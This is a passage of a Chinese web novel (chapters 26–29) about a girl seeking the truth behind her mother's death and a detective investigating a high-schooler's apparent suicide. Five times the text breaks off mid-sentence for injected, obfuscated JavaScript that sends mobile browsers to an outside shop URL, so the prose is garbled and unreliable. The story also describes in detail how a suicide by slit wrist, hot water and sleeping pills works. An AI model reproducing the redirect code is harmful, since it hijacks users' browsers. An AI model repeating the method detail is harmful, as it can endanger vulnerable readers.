她转头看向姜敏,用语重心长的口吻说道:“小姜啊,你别怨我多嘴,这孩子我也认识快四年了,看摸样不是个坏小孩,家里也怪可怜的,你也别恨他了。”
另一名同事说:“我听他妈说,当时只有那孩子留下来给你姐姐喊了救护车,另外几个小畜生都跑光了。”
“那可不,要是没那孩子帮忙作证,警察哪能那么快抓到人呢?”刘姐回应道。
“这家人算是善良的了,还愿意让孩子出来作证,毕竟那个主谋的背景可不得了……”
说到这里,两名同事互相使了个眼色,便心照不宣地闭上了嘴巴。
善良?
姜敏望向女人的背影,她已经打完了电话,把手机塞进皮包后,拎着装有药品的塑料袋走出了门诊大厅。
姜敏心想,可我从来没有见过她。连道歉也没有。
***
接连下了四天雨后,本周日终于迎来了晴天。
街道两旁的梧桐树叶基本掉的差不多了,圣诞节也快到了,商店街的店员们趁着难得的好天气,在各自的橱窗前贴上了用于庆祝的彩色贴纸,有些还在门口摆放圣诞树以吸引顾客。
曲南星望着第五人民医院门口足有两米高的圣诞树,心想,原来医院这样严肃的地方也会庆祝圣诞节,但考虑到五院的特殊性,这么做或许是为了哄患者开心吧。
就在刚刚,她目送小姨姜敏走进了门诊大楼。
药剂师的工作非常辛苦,一周上六天班,轮岗一天休息,其余时间必须
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006710|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在早晨八点前到岗。今天对于学生来说是休息日,加上天气舒适,曲南星便提议送小姨去上班,她同意了。
望着小姨的背影消失在玻璃门内,曲南星看了眼手机屏幕,显示时间为七点五十五分。
应该不会这么早来。她这么想着,转过身四处张望,很快发现旁边有一家小型奶茶店。
她走进店里,点了一杯热红茶,然后在靠窗的位置坐下。从这里能清楚地看见所有进出门诊大楼的人。
等了大约一个钟头,一对母子模样的人出现在视野里。
他们两人并排穿过奶茶店旁边的斑马线,向门诊楼走去,其中,儿子身着黑白配色的高中校服外套,母亲则穿了一条发白的蓝色连衣裙。
一看到那个男生的脸,曲南星便绷直了身体。但她没有采取行动,而是继续在店里等待。
又过了一个钟头,那两人从门诊大楼里走了出来,看样子事情已经办妥,母亲手里还多了一个装着药盒的塑料袋。
等到两人从奶茶店门口经过时,曲南星站起身,戴上提前准备好的帽子和口罩,默默跟在了后面。
她推测他们不是骑电瓶车来的,因为如此一来,就会像小姨那样,把车子停到门诊楼下的停车库里。而且为了省钱,他们应该也不会选择打车。
那就只剩下两种可能了。要么住在医院旁边,要么坐公交车往返。
答案显示为后者。
她跟着上了同一辆公交车,在最后一排最里面的位置坐下。
四站后,母子两人并排下车,沿着街道向前走。曲南星紧随其后,进入了一个名为“东华新苑”的小区。
她发现,这里距离她和小姨的新家只有两百米路程,几乎可以算得上是邻居。
一眼就可以看出来,这是一个颇有年代的老小区,没有保安或物业,每栋单元楼的墙壁上都有大面积脱落的痕迹,有些窗户用的还是上个世纪常见的那种深蓝色玻璃。
母子两人一边说话一边走进10栋3单元,全程没有回过头,大概根本想不到会被人跟踪。
曲南星站在楼下,聆听楼道里向上的脚步声,随后是用钥匙开锁的咣当声,一共开了两道门。根据声音判断,在二楼。
曲南星再次看了眼时间,十点五十五分。她不知道今天还有没有机会,但是决定试着等一会儿。
她运气不错,只过了五分钟,楼上便再次传来开门声。噔噔噔,高跟鞋踩在空旷的楼道里发出清脆的声响。
很快,母子两人中的母亲从楼梯口出现,胳膊上挂着一个空篮子,看样子是要去买菜。
等人走远,曲南星踏上了楼梯。
二楼左右各有一户,左边205是单门,右边206则多一道防盗门。
她摘掉口罩,按下206的门铃。
如果没有猜错,这户人家现在应该只有儿子一个人在家。
这么做冒了些风险,不过也不是完全没有依据:母亲带着儿子一大早出门,如果有父亲在家,大概率会帮忙买菜,甚至把午饭也提前做好。
里面传来脚步声。内门缓缓打开,露出了一张男生的脸。
“你是谁?”
大概没有想到会出现陌生人,男生眼神里满是警惕。
他依然保持着四年多前理得很短的发型,就连那副黑框眼镜也一模一样。
26.不速之客
短短几秒钟后,男生的表情如戏剧演员般变了。
他镜片后的双眼瞪得滚圆,五官也随之扭曲,仿佛一段埋葬多年的恐怖记忆忽然被人唤醒。
曲南星立刻明白:他已经认出了自己。
四年前那个雪夜的初次见面,如烙印般深深刻地在脑海里,而他们两人的模样,注定会成为对方这辈子都忘不掉的噩梦。
不知沉默了多久,曲南星开口道:“刘蔚,你好。”
男生像被什么东西烫到了,原本僵硬的身体猛地一震,立刻就要关门。
曲南星反应更快,手穿过防盗门的栅栏,抓住门把向外拉开一条缝。
两个人一里一外,陷入了诡异的僵持。
男生的脸已经缩了回去,透过门缝什么也看不见,只有呼哧呼哧的喘息声传来。
“你别害怕,”曲南星尽量放平语气,可是在使出全力的时候这么做实在艰难,“我不是来找你麻烦的,只是有件事情想问你。”
门内的喘息陡然加重,紧接着是男生惊慌失措的声音:“你走,你走!”
“我问完立刻就走。”
“我什么都不知道,不是我干的,你不要问我!你走!”
曲南星还想说什么,忽然楼上传来了脚步声,她吃了一惊,对面立刻抓住机会关上门,发出“嘭”的一声巨响。
楼梯口出现了一个穿花纹睡衣的胖大爷,边缓缓下楼,边向曲南星投来好奇的目光。
等确定那人完全走出单元楼后,曲南星才将侧向一边的脸转了回来,面朝她的,是两扇完全紧闭的防盗门和内门。
刚刚里面非常安静,意味着男生还没有离开玄关。
“你还在听,对吧?”曲南星说道。
没有回应。
又过了一会儿,门后隐约传来说话声:“跟我没关系……不是我害的……跟我没关系……我没做错事……”
他似乎受到了巨大的惊吓,不断重复着这句话。
曲南星吸了一口气,感觉从头到脚都在轻微地发抖,是时候了,那个在心底辗转多年的问题已然翻涌到喉咙口:
“林鸿选中我妈妈,真的……只是为了抢钱吗?”
门后一片死寂,连喃喃自语也消失了。似乎人已经走了。
菜市场就在小区门口附近,刘蔚妈妈随时可能回来,没办法再等下去了,必须尽快离开。曲南星从口袋里掏出提前准备的纸条,上面写着一串电话号码。
“这是我的号码。”
她弯腰将纸条从门缝塞了进去,“如果你有什么想说的,请务必联系我,什么时候都可以,拜托了。”
回应她的,只有风吹进楼道里发出的呜呜声。
***
语文课的下课铃声响起,教室里立刻骚动起来。
下一节是期待已久的社团活动课,即便作为班主任的语文老师还留在讲台上,底下学生也肆无忌惮地大声聊起了天。
其中占据主要话题的,是学校今天早上刚刚在每个班设置的“志愿板”,即一块印有班级全部学生姓名的塑料板,第二排空着,留给学生们填写各自的梦想大学。
这块板子粘贴在黑板旁边的墙壁上,写着“把每一天当成高考,高考就会成为普通的一天”的标语,颇有种战争号角已然吹起的紧张感。
由于材质是塑料,即使写错字或者后来改变主意了也没关系,随时可以用抹布擦掉重新写,这就使得这块板子的严肃性大大降低。
此刻,上面已经写了很多学校的名字,其中不乏知名的985211院校,也包括一些令人啼笑皆非的内容,比如某某专科学校,某某三本院校。
几个平时很调皮的男生正围着板子追逐打闹,发出“你才去榆州高专、你全家都在那毕业”、“我靠什么哈尔滨佛教大学”等语言攻击,但大家心里都知道,这只是在互相开玩笑罢了。
“老曲,我们也去写吧。”
方怡宁把装有网球拍的背袋放在桌上,向曲南星道,“趁现在人少,写完再去体育馆,不然被看着好尴尬。”
曲南星点点头,刚要去拿志愿板旁边的马克笔,身后忽然传来班主任的声音:
“曲南星,方怡宁,你们两个到我办公室来一趟。”
她们只得照做。“蒋叉叉肯定要说上周图书馆的事。”去的路上,方怡宁小声对曲南星嘀咕。
果不其然,班主任把办公室门关上,确认里面没有其他老师后,便向她们说道:“关于你们汇报的上周三图书馆发生的事情,学校已经深入调查过了。”
“怎么说?”方怡宁迫不及待地问。
班主任脸上露出遗憾的神情,“恐怕……很难正式处理。你们说的那两个男生,是高三(11)班的学生,他们并不承认,说东西掉在了借阅室,趁放学去找,跟你们只是偶遇。”
“借阅室不是有监控吗?稍微看一下就知道他们当时是在威胁我们吧。”方怡宁说道。
“是有监控,但是没有声音。”班主任叹了口气,摇头道:“学校用的监控都是几年前的便宜款式,只能看见画面,所以……从画面没办法判断他们当时在做什么。”
“太过分了吧,就这么给他们狡辩过去了?”
“学校对这两个学生一直很头疼,你们也知道,上个月才在全校通报批评,看来完全没起到警示作用,他们还是我行我素。不过,”她看向曲南星,“作为咱班的班主任,我肯定相信你们两个的话,也会无条件维护自己班级学生的利益。”
“如果他们以后还来找曲南星麻烦,那该怎么办?”
“我找他们班主任谈过了,也严厉警告了这两个学生,应该不会再出现类似的情况,当然,你们两个以后还是要注意一点,最好别在人少的地方逗留,特别是快放学的时候,防人之心不可无。”
“可是……”方怡宁很不甘心,想说什么。
“我知道了。”曲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011659|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
南星开口道,“监控只有画面没有声音,这也是没办法的事。谢谢蒋老师,我们以后会多加小心。”
班主任满意地点了点头,说道:“还有曲南星我上次跟你说的,宁大冬令营的事情,你考虑的怎么样了?”
宁大冬令营是榆州中学和宁市大学共同组织的一个热门寒假项目,旨在为优秀学生拓宽视野,同时帮大学提前看好生源,可惜名额很少,榆中的学霸们年年为此挤破头。
见曲南星没有马上回答,班主任皱起眉头,问道:“还是不能去吗?上次是你姑姑不同意,但是冬令营食宿是由学校全额出资,我实在搞不明白她反对的点在哪?又不用她出钱,要不然我再给她打个电话劝劝。”
“现在可以了。”曲南星看着她,说道,“蒋老师,如果有机会,我会报名。”
班主任乐开了花:“那就好,你怎么说服她的?”
“我现在跟小姨一起住了,小姨她同意我去。”
班主任迟缓地哦了一声,大概想起了曲南星小姨入狱的原因,表情变得不自然起来。
“这次冬令营,七到十二班,每个班就给了一个名额,所以只有期末考试总分排名第一的学生才能去。”
七到十二班,共六个班级,是榆中高一的招牌强化班,全年级所有的尖子生都被囊括其中。
“你想去就要把握机会,保持现在的成绩,我们班的名额大概率是你的。”班主任语重心长地说,“最近班上那些闲话我听见不少,全都是无稽之谈,你别放在心上,专注学业。”
“蒋老师也听说了?”方怡宁睁大眼睛,“真的很过分吧!老师能不能开个班会说一下这个事情,别让其他同学再乱传了。”
“我是有这个想法,等过几天教研检查的事情忙完,我会打个电话给当时过来的警察问问进展。如果确定结案了,就开个班会,趁机教育一下全班同学什么是谣言。”
曲南星道了声谢谢老师。
离开办公室后,两人沿走廊往班级的方向走去。已经上课五分钟了,迟到无法避免,她们干脆放慢脚步,不急赶去体育馆。
“无语,平白让那两个狗东西逃了,什么破学校啊监控都买不起好的。”方怡宁还在愤愤不平。
曲南星:“就算惩罚,最多也就是警告处分,对他们来说不痛不痒。”
“所以那些坏学生才会越来越嚣张……”
曲南星安慰道:“别想这些了,我们先把志愿大学填好,然后去体育馆吧。”
“好!我准备写宁大,你知道,我一直想去宁大天文!”
方怡宁跑过去拿起马克笔,刚想问老曲你想写哪所学校我帮你写,却发现她神色古怪,正一言不发地盯着前面。
“怎么了?”方怡宁困惑地转过头,顺着她的视线看去,随即也变了脸色。
志愿板上,曲南星的姓名后面,已经被人写上了学校。
字迹歪歪扭扭,写着:榆州警官学院。
27.我可以加你微信吗?
虽然旁边学生的姓名后面也写着“榆州高等专科学校”的字样,但哪个是开玩笑,哪个是恶意流露,答案不言而喻。
“太过分了!”方怡宁拿起抹布,用力地擦掉了那行字,她的声音非常愤怒:“这些人是神经病吧!”
曲南星看了一会,转过头去:“有够无聊的。”
当群体都对某人表现出恶意时,就等同于给了每个人霸凌那人的豁免权。
虽然才认识不到一个学期,向尚未完全熟悉的人实施霸凌,反而会给霸凌者带来一种心理上的自我麻痹,认为自己只是在伤害一个陌生人而已。
“什么时候才是个头啊!我看他们是巴不得你被影响,去不了冬令营!”方怡宁狠狠把抹布砸在讲台上。
曲南星拿起两人的网球袋。“我们走吧。”她平静地说。
体育馆里,各个运动场地都人满为患,场边排椅上也堆满了衣物。
中央空调正卖力地输送着热气,上次检修过后,它的制冷/热效果取得了极大提升,学生却依然不买账。
因为现在已经进入冬天,学生本就穿的厚,就算运动前脱掉羽绒服,还剩下脱不掉的毛衣秋裤,场馆内人又多温度又高,他们只能顶着呼呼作响的热风,汗流浃背地来回跑跳。
“嘿学妹,帮忙捡个球。”
曲南星刚把网球袋放下,还没来得及拉开拉链,就听见身后有人喊她,回过头,发现社长正站在对面的拦网旁,边招手边向她挥舞着球拍。
一颗网球咕噜噜滚到了曲南星脚边。
“我来吧。”
听到这个声音,弯腰去捡球的曲南星一愣,手指停在球上。
没等她反应过来,另一只手伸过来,拿走了网球。指尖有一瞬间的相触,又似乎没有碰到。
“谢谢。”
“罗诚学长?这么巧,你也在?”
耳边同时传来对方和方怡宁的声音。曲南星抬起头,视线正好与拿球起身的男生在半空中相遇,他穿着一身白色运动服,袖口向上翻起两道,露出清瘦冷白的手腕。
他有些意外,眉峰向上挑起,很快漾出笑意:“确实很巧。”
见状,社长扛着球拍走过来打招呼:“你们认识?”
方怡宁看看罗诚,又看看社长,把问题抛了回去:“你们认识?”她完全没想到这风马牛不相及的两人居然会一起打球。
“那当然,这可是咱们学校风云人物,上一届学生会主席啊。”社长把另一条胳膊搭在罗诚肩上,他比罗诚矮约十公分,做这个动作有种谜之小鸟依人的既视感。
“学生会主席?”方怡宁嘴巴张成O型,眼睛直眨。
“少贫几句会死吗。”罗诚用胳膊肘顶了一下社长,罕见地打趣道,“我高考之后暑假没什么事,找了个大学生兼职,一对一辅导,他是我辅导对象。”
他解释的表情很认真,眼里带着一点笑。曲南星想,这人似乎做什么都很认真。
“哦我忘了,”社长恍然大悟,“你俩才上高一,入学的时候诚哥刚好毕业,完美错开,难怪呢你们不知道。”
曲南星和方怡宁双双无语:……
果然是体育生的记忆力。
“你帮他辅导功课?”方怡宁露出耐人寻味的表情,过了一会才说,“好像……有那么一点……”
社长:“一点什么?”
“一点浪费。”方怡宁直白道,“社长,如果我没记错这次月考好像是你们班倒数第一。”
“我靠谁跟你说的?大冰还是王煦?”
这两人是社长的头号狐朋狗友,经常一起在体育馆打球,也一起包办班级成绩倒数前三,轮流坐镇高二(1)班最后一名宝座。他们班倒数第四的同学一直很安心,因为不存在继续下降空间。
“刘若冰学长。”方怡宁毫不犹豫把人卖了,接着道:“罗诚学长辅导你哪一门啊?”
罗诚:“数学和物理。”
方怡宁:“有进步吗?是不是觉得朽木不可雕。”
社长白她:“谢谢关心,这两门都有显著进步,之前30分,现在能考50。”
方怡宁:“……努力保持,祝早日及格。”
社长:“还没回答我呢,你们怎么认识的?”
罗诚看了眼曲南星,“我们以前是邻居。”
“哎呦?青梅竹马啊?”社长坏笑起来,阴阳怪气:“果然学霸之间是会互相靠近的,咱学渣最好还是离远一点,小心被吸走灵气。”
罗诚瞥他一眼,淡淡道:“数值为负,没有吸收价值。”
“我靠兄弟一场要不要这么毒!”
“不对啊,”方怡宁回过味来,“社长你怎么在这?这节课是高一的社团活动,你们高二不是周五下午吗?你逃课了?”
“我们班这节音乐课,太无聊了,反正老师也不点名。”
他们一直聊天,旁边的网球场地便被羽毛球社的学生占用了,于是社长提议:“我们四个双打怎么样?”
取得另外三人赞成后,他们分成了两组,罗诚和曲南星一组,社长和方怡宁一组,并约定输的那组去买水。
二十分钟后,罗诚和曲南星拿着饭卡,朝小卖部的方向走去——
社长虽然成绩倒数,但运动细胞真不是开玩笑的,方怡宁基本站着不用动,靠他硬刚对面两个,像开了核能发动机跑全场,赢得易如反掌。
“你们下个月中旬期末考试?”走在接连不断的树荫下,罗诚问道。
“嗯。”
“按照往届惯例,接下来会按照排名确定宁大冬令营名单。”罗诚偏头看她,“如果期末还能保持第一,你肯定能去。”
“学长怎么知道?”
“早上蒋老师喊我帮忙整理试卷,顺手翻了一下。”
曲南星视线落到罗诚的袖口上,已经放了下来,靠近手腕的地方粘了一点黑色,似乎是墨迹:“你这几天好像经常来学校?”
感觉像给蒋叉叉打白工的样子。
“今天是最后一天,明天就回上海了,下周期末考试。”
“啊,我以为是考完了才回来的,原来还没开始吗?”
“拜托,别忘了我可是医学生啊,十几门专业课,怎么会这么早考完。”罗诚笑了,随即又垂下眼帘,“我妈最近心情不好,我爸又在天津出差,家里就她一个人,我不放心,回来看看。”
听他这么说,曲南星有些诧异。
她想起小学时候住在家属楼里,好几次遇到罗诚的妈妈牵着他妹妹下楼,他妈是远近闻名的大美人,明明已经有了两个孩子,却看不出一点生育痕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027465|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
迹。
他妹妹虽然年纪还小,但眉眼跟妈妈几乎是一个模子刻出来的,经常穿着各种颜色的泡泡纱公主裙,被打扮的像白雪公主幼年体。罗诚自己更不必说。旁边邻居都对这家人稳定遗传的外貌基因羡慕不已。
四年过去,他妹妹应该上小学了吧?也可能是初中?
曲南星不太确定,便问道:“你妹妹不在家吗?”
罗诚的脚步一顿,视线仍望向前方:“她……”
他忽然陷入沉默,过了片刻,说道:“她因为交通事故去世了。”
“……抱歉。”
曲南星眼前浮现出那名穿着公主裙的小女孩,怯生生的,遇到陌生人就往妈妈身后躲。
可惜了,这么小。
“没关系。”
榆中的小卖部位于食堂一楼,按照校规上课期间学生不能去买东西,学校却没有分派专人监督,因此从早到晚都有学生进出,络绎不绝,小卖部老板也乐的赚钱,对此睁一只眼闭一只眼。
小卖部门口,几个女生正坐在台阶上聊天,一看到罗诚,立刻传来了轻微的骚动,似乎是在互相怂恿谁先上去要微信。
曲南星绕过她们,从货架上拿出一瓶水溶C100,是方怡宁指定饮品,至于社长点的好像是……她一抬头,罗诚拿着一瓶脉动和两瓶三得利乌龙茶,已经站在了收银台旁边。
“这可以吗?”罗诚举起乌龙茶向她示意。
“我都行。”
曲南星刚要拿饭卡,一只手伸过来挡在面前:“我来。”
“可是学长你……”
她想说你已经毕业了,但话音未落,就见罗诚变戏法似的从口袋里掏出一张饭卡,压在刷卡器上。
“想到可能会返校,就没把卡清空,果然用上了。”
罗诚笑了下,唇边露出两颗虎牙,“没能帮你赢,怎么好意思再让你付钱。”
曲南星垂下眼,低低道了声谢。
隐约听见身后女生们传来郁闷的声音,“原来有女朋友啊……”
拎着水回去的路上,两人半天没说话,沉默像地上的影子一样越扯越长。
“那个……”
“话说……”
他们同时开口,又同时说:“你先说。”
罗诚笑:“那我先?”
曲南星点头:“嗯。”
他敛起笑意,眼中渐渐浮出严肃的神色,“那个警察,后来有没有再来过学校?”
“应该没有。”
“都几个月了,案件有这么复杂吗,还没查清楚?”
“我也不知道。”
曲南星望向路旁,几名男生争抢着一个似乎是泡面的东西,从两人身边笑闹着跑过去,“不过就算查清楚了,也不会特意来学校说明吧。”
“但是他们的调查给你造成了困扰,不是吗?”
“警察也没有想到,他跟班主任的对话会传出去,这完全是意料之外的事。”
“也对。”罗诚若有所思,又偏头看她,“你刚刚要跟我说什么?”
曲南星没有立刻回答,罗诚也没催,两个人像是刚出考场在回忆题目准备对答案的考生,气氛沉默而微妙。
“学长,”
过了一会儿,她抬起头,“我可以加你微信吗?”
28.短信
两人回到体育馆的时候,距离下课只剩几分钟,大部分学生都走了,空出来的场地上有几对指导老师在打羽毛球。
“谢啦!”
方怡宁笑嘻嘻地从袋子里拿出水溶C,迫不及待道:“刚刚跟社长商量了一个事儿,想征求你们的意见。”
“说来听听。”
“这不快期末考试了吗,我想说要不等考试结束,我们社团搞一次集体活动,找个合适的地方一起去玩一天,早上去晚上回,就当是团建了。”
社长一口气说完,拧开脉动的瓶盖,酷酷就往嘴里灌,他头上汗滴的能养活一盆绿萝,看来热坏了。
“你们打算去哪里?”
“还没想好,我觉得隔壁古镇还行,又近,坐大巴来回就一个小时,而且春节放假期间免门票。你们觉得呢?”方怡宁征求意见。
“我都可以。”曲南星说。
“那就这么定了,等会儿我在群里发个公告,想去的就接龙报名。”社长放下脉动,向罗诚打了个手势:“诚哥记得到时候把相机带上。”
罗诚颇感意外:“我?我不是你们社团的成员。”
“嗐这有什么,你是我们社头号外援,本来说不定没几个女生愿意去,知道你去了,接龙的人肯定多。”
罗诚一语道破:“你是看上我相机了吧。”
“哪能啊!”
社长嘴上打哈哈,说的话却很诚实:“带那部最新的索尼A7M4,对,就是你上次发朋友圈拍外滩夜景用的那个。”
方怡宁满眼敬佩地望着罗诚:“学长还会摄影啊?”
“那可不,人家是全能型学霸!”
社长抢答,被罗诚一胳膊肘顶开,“少来。”
“其实是我爸喜欢摄影,我要拍的时候就借他的相机用。”
下课铃响起,四人纷纷走向拦网,去拿放在网下的外套和球袋。
曲南星这才发现,罗诚的衣服就放在她的球袋对面,是一件浅卡其色的羊毛大衣,整齐叠放在帆布袋上,应该也是他带来的。
“谢谢你。”
罗诚望向对面正在整理球袋的女生,她低着头,眼神没往这里看,但周围没有其他人,确实是在跟他说话。
“谢我什么?”他问。
“四年前,新春晚会那天。”
曲南星依然低着头,手指缓慢地拉动球袋拉链,“我们家没有相机,是你爸爸,把相机借给我妈妈,说可以趁我上台领奖的时候,多拍几张照片,留作纪念。”
说到这里,她终于抬头,一双忧郁而沉静的眼睛专注地看着对方,“后来因为我妈妈……出事了,一直没时间还,还是我搬走之前收拾行李才想起来,但因为急着赶车,只好拜托隔壁李婶帮忙把相机送回你们家。没能当面归还,也没来得及说一声谢谢,真的很抱歉。”
她的眼睛很亮,目光似
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027466|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乎有某种魔力,令被注视着的人不自觉全神贯注地聆听。
罗诚怔怔地听着,心里莫名被什么东西堵住了,四年前的点滴回忆在脑海里如同潮水般涌来。完全控制不住。
回到家,屋里一片漆黑。
曲南星打开玄关处的顶灯,白色灯光瞬间照亮了整个屋子,她下意识眯起眼睛,刚要脱掉校服外套,口袋里忽然传来震动。
是小姨的来电。她接起电话。
小姨说正在跟大学室友一起逛街——就是那位萍萍阿姨,要九十点钟才回来,晚饭在蒸锅里,是花卷和粉蒸肉,都是曲南星爱吃的。
说着,小姨在电话那头一阵大呼小叫,说看到一件特别好看的羽绒服,拍了照片发她微信,要是曲南星喜欢就买下来,等放寒假出去玩的时候穿。
曲南星笑着应了,点开微信,果然连续收到几张照片,拍的是商场里常见的假人模特,身上穿着一件淡紫色长款羽绒服,前后左右各个角度和细节都拍了。
这时,手机再次传来震动。
一条短信发了过来,在顶端弹出通知页面。
曲南星看了一眼,滑动照片的手指倏然僵住。
短信写着:
【我是刘蔚。】
【如果你想知道答案,现在过来我家。我只等十分钟。】
【来之前把这条短信删掉,我不想招惹麻烦。如果你不这么做,我什么都不会说。】
29.发现尸体
离开市政大楼,开车沿着大学城的方向行驶约半个钟头,在文汇路和学府路的交界口拐弯,道路两旁会出现分布密集的住宅区,有六个之多。
李成植将车停在其中一个小区旁边,确认没有违章停车的警示牌后,便朝小区入口走去。
距离上次到这里来,已经过去了快三个月。那时天气还算暖和,马路两旁的梧桐树叶也尚未凋落殆尽,一切似乎都还有些生机。
比起上次以探究为目的的特意造访,今天他的心情要沉重得多。
瞥了眼空无一人的保安亭后,李成植从小区正门进入,根据指示牌寻找目的地所在的单元楼。小区的楼号顺序混乱,即使来过一次,不看路标也很难确定路线。
走了几步,他意识到,其实不必特意寻找,只要朝着人多的地方就行了,看热闹是老百姓永恒不变的天性。
随着前方人群逐渐密集,道路变得狭窄,越来越多的讨论声传了过来:
“听说是个高中生……”
“可怜啊,年纪轻轻就……”
已经传开了?看来我来得太迟。
李成植心想,一边将大衣的领口翻了上去,抵御呼啸而来的北风。
向值守的民警出示了证件后,他钻过楼道口的警戒线,刚要向楼上走,忽然看见几步之外站着一名年轻女人。
他不由得停下脚步,向那女人望去。
女人穿着白色长款羽绒服,头发散乱,铁青的面容和通红的眼睛都表明她此刻情绪激动,事实也确实如此,她身旁还有一位年轻警员,正在一边跟她谈话一边在笔记本上做记录。
“那女的谁啊?”
身后人群里传来议论声。
“是死者姨妈……听说就是她发现的……”
“真吓人……”
李成植绕过女人和警员,走上楼梯。
现场的大门敞开着,几名警务人员从里面急匆匆走出来,手上还拿着证物袋相关的东西。
李成植等他们经过,才走进玄关。
这是一间小小的老式住宅,两室一厅,陈设简单朴素,除了必要的餐桌、置物柜之外,几乎没有多余的家具,整个屋子看起来就像刚搬来不久似的。
根据收到的信息,发现尸体地点是……
李成植抬起头,看向餐厅旁边的浴室,从这个角度可以看到里面的半透明浴帘,以及靠墙摆放的浴缸。
浴缸里空无一物。
果然尸体已经被带走了。
李成植叹了口气,不由得懊悔起来。如果收到消息的时候就从会议上离场,而不是傻傻地等到会议结束再走,也许还有机会能亲眼确认现场的情况。
这时,有人拍了下他的肩膀。
“李队,好久不见。”
来人是李成植之前的下属,在他走后升职为现任长虹区刑侦队队长,宋平盛。他虽然年纪尚轻,但个头高大且身材健壮,对待嫌疑人颇具威慑力。
“宋队。”李成植跟他握手,寒暄几句后,虽然不抱希望,他还是问了句,“你们这快结束了吧?”
“收个尾。”宋队长点点头,说道:“听说你要过来,我吓了一跳,以为是牵扯到什么大案子,连市局都给惊动了?”
李成植不置可否地笑了笑,表情很快变得严肃,“现场结果怎么样?”
“死因是左手手腕割伤,失血过多。就是割腕。”
“死亡时间呢,确认了吗?”
“昨天晚上六点到八点之间,再精确的话,还需要法医进一步判断。”
“我在楼下看到你的人跟一个女人说话,听围观群众说,是死者姨妈?”
“对,她是第一发现人,也是报案人。今天早上九点钟左右,她独自一个人过来,看到门没锁就直接进去了,然后在浴室发现了尸体。”
宋队长看了眼浴室的方向,接着道:“发现尸体时,死者左手浸泡在盛有水的浴缸里,刀片就在旁边。”
“哦,这样。”李成植沉吟着,缓缓点头,“也就是说……”
“没错,初步推断为自杀。”
“现场还发现别的东西吗?”
“还有一杯橙汁。鉴证人员猜测,里面很可能有安眠药成分,拿回去化验了。”
将浴缸装满热水,服下安眠药,然后割开动脉,把流血的手腕放进水里……
李成植暗想,如果过程真是这样,意味着死者的求死想法非常强烈。
因为普通割腕造成死亡的可能性很低。
由于割腕带来的剧烈疼痛,自杀者很难切到深埋于肌肉层中的动脉,而静脉血液流速较慢,触发自凝后,血就不流了。将割腕处放进热水,使血液无法凝固,而事先服用安眠药,等同于放弃
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032298|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了过程中反悔的机会。
李成植想了想,又问:“死者昨晚一个人在家?”
“对,这一点已经跟报案人确认了,从昨天下午六点开始,家里除了死者外,没有其他人。至于为什么是六点,因为那是死者坐校车从学校到家的时间,每天都是如此。”
“那么,有没有来拜访的人?比如说事先没有约定,突然登门造访,会有这种情况吗?”
“这……”宋队长面露为难,“恐怕得再跟死者家属求证一下才能知道。”
“报案人——就是死者的姨妈,对于自杀的说法,是什么态度呢?”
“她对此表示难以置信,说跟死者昨天上午才见过面,那时候死者精神状态很正常,完全看不出打算自杀的迹象。不过……”
他话锋一转,“高中生因为学业和其他压力,出现心理问题,临时起意轻生的案例,这段时间出现了不少,所以这么说也是有可能的。光上个月长虹区就有两起,最近好像是期末,学生受到的压力应该也会更大吧。”
李成植若有所思。
